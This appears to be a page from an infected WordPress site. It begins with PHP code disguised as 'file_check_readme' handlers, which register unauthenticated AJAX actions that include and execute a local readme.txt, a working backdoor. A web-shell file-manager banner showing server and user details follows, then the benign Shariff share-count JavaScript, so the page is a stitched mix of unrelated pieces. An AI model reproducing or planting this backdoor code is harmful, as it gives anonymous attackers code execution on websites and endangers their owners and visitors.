if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-content/plugins/shariff/js/shariff.js
// main shariff function
function shariff_share_counts() {
    // enabled strict mode
    "use strict";
    // get all shariff containers
    var containers = document.getElementsByClassName("shariff");
    // init request object
    var requests = {};
    // loop through all containers, create each request url and add all to request array
    for ( var c = 0; containers[c]; c++ ) {
        var share_url = containers[c].dataset.url;
        var services = containers[c].dataset.services;
        var timestamp = containers[c].dataset.timestamp;
        // check if an external share count api is set
        var api = containers[c].dataset.backendurl;
        if ( typeof api === "undefined" ) {
            api = '/wp-json/shariff/v1/share_counts?';
        }
        // build request url
        var request_url = api + 'url=' + share_url + '&services=' + services + '&timestamp=' + timestamp;
        // check if we have backend services at all
        if ( typeof services !== "undefined" ) {
            // check if the url is already in requests to avoid duplicated requests
            if ( requests[ share_url ] ) {
                // add additional services to services
                services = requests[ share_url ][ 1 ] + '|' + services;
                // remove duplicates
                var service_array = services.split("|");
                service_array = service_array.filter( function( elem, pos, arr ) {
                    return arr.indexOf( elem ) === pos;
                });
                services = service_array.join('|');
                // update request url
                request_url = api + 'url=' + share_url + '&services=' + services + '&timestamp=' + timestamp;
                // add to requests
                requests[ share_url ] = [ share_url, services, timestamp, request_url ];
            }
            else {
                requests[ share_url ] = [ share_url, services, timestamp, request_url ];
            }
        }
    }
    // get share counts
    for ( var request in requests ) {
        if ( requests.hasOwnProperty( request ) ) {
            shariff_get_share_counts( requests[ request ][ 0 ], requests[ request ][ 3 ], containers );
        }
    }
}
// get share counts
function shariff_get_share_counts( share_url, request_url, containers ) {
    // new XMLHttpRequest
    var request = new XMLHttpRequest();
    // load asynchronously
    request.open( 'GET', request_url, true );
    // actions after answer
    request.onload = function() {
        // check if successful
        if ( request.status >= 200 && request.status < 400 ) {
            // add to buttons
            shariff_add_share_counts( share_url, JSON.parse( request.responseText ), containers );
        }
    };
    // start request
    request.send();
}
// add share counts
function shariff_add_share_counts( share_url, data, containers ) {
    // add share counts to buttons
    for ( var d = 0; containers[d]; d++ ) {
        // check if it is the corresponding button set
        if ( containers[d].dataset.url === share_url ) {
            // update total in total number spans
            var shariff_totalnumber = containers[d].getElementsByClassName("shariff-totalnumber");
            for ( var n = 0; shariff_totalnumber[n]; n++ ) {
                if ( data !== null && typeof data.total !== 'undefined' ) {
                    shariff_totalnumber[n].innerHTML = data.total;
                }
            }
            // update total in shariff headline
            var shariff_total = containers[d].getElementsByClassName("shariff-total");
            for ( var t = 0; shariff_total[t]; t++ ) {
                if ( data !== null && typeof data.total !== 'undefined' ) {
                    shariff_total[t].innerHTML = data.total;
                }
            }
            // loop through all button in this container
            var shariff_count = containers[d].getElementsByClassName("shariff-count");
            for ( var s = 0; shariff_count[s]; s++ ) {
                // add share count, if we have one, and make it visible
                if ( data !== null && typeof data[shariff_count[s].dataset.service] !== 'undefined' && ( typeof containers[d].dataset.hidezero === 'undefined' || ( containers[d].dataset.hidezero === '1' && data[shariff_count[s].dataset.service] > 0 ) ) ) {
                    shariff_count[s].innerHTML = data[shariff_count[s].dataset.service];
                    shariff_count[s].style.opacity = 1;
                }
            }
        }
    }
}
// add event listener to call main shariff function after DOM
document.addEventListener( 'DOMContentLoaded', shariff_share_counts, false );